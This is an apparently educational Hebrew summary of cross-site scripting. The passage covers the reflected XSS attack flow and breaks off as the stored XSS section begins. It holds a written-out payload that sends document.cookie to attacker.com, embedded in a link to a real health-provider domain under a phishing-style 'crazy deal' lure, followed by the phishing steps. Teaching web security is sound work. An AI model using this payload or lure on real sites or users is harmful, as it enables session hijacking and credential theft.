סיכום XSS Cross Site Scripting

המטרה של התוקף: הרצת קוד על הדפדפן של הקורבן (למשל גנבת cookie, keylogger)

# סוג ראשון (Reflected XSS GET)

תרחיש התקפה:

1. התוקף מוצא XSS סוג 1 כלומר URL עם פרמטר שפגיע להזרקת JS:

[מבצע מטורף](https://www.clalit.org.il/?title=%3cscript%3efetch(%22http://attacker.com?cookie=document.cookie%22)%3c/script%3e)

[https://www.clalit.org.il/?title=<script>fetch("http://attacker.com?cookie=document.cookie")</script](https://www.clalit.org.il/?title=%3cscript%3efetch(%22http://attacker.com?cookie=document.cookie%22)%3c/script)>

1. התוקף מקים אתר שנועד לגנוב את ה cookies ולשמור אותם
2. התוקף צריך לפתות את הקורבן ללחוץ על הלינק ( phishing)
3. אם הקורבן לחץ אז הדפדפן פותח את הקישור הזדוני ומריץ את ה JS (אם יש לו cookie כלומר הוא עבר לוגין אז יישלח ה cookie לתוקף(.

# סוג שני (Stored XSS)

1. התוקף מוצא stored XSS כלומר